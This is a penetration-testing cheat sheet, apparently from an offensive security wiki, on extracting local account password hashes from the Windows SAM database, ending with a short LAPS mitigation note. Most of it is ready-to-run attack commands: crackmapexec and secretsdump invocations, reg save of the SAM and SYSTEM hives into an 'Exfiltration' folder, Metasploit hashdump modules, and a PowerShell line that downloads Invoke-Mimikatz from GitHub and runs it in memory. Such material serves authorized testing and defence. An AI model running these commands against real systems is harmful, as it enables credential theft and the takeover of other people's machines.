Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access.
Linux Techniques
Crackmapexec
crackmapexec smb <IP> -u <User> -p <Password> --sam
# Use the local-auth parameter when authenticating as a local account
crackmapexec smb <IP> -u <User> -p <Password> --sam --local-auth
Secretsdump
# Dump from SAM and SYSTEM. Ensure files are in current working directory
secretsdump.py -sam SAM -system SYSTEM LOCAL
Windows Techniques
# Manually save SAM and SYSTEM files (if needed for any tools below)
reg save HKLM\SAM c:\Exfiltration\SAM
reg save HKLM\SYSTEM c:\Exfiltration\SYSTEM
DumpSam
This tool will filter out some default accounts such as Guest and the wdagutilityaccount account from the results.
# Load into memory
IEX (IWR -UseBasicParsing "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1")
# Dump from SAM and SYSTEM. Enusre files are in current working directory
Invoke-Mimikatz -command "lsadump::sam /system:SYSTEM /sam:SAM"
# Dump against the live hive files
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
Metasploit
# Modules
use post/windows/gather/hashdump
use post/windows/gather/credentials/credential_collector
# Meterpreter Shell
hashdump
# Extension:Kiwi
lsa_dump_s
Mitigation
LAPS
The "Local Administrator Password Solution" (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.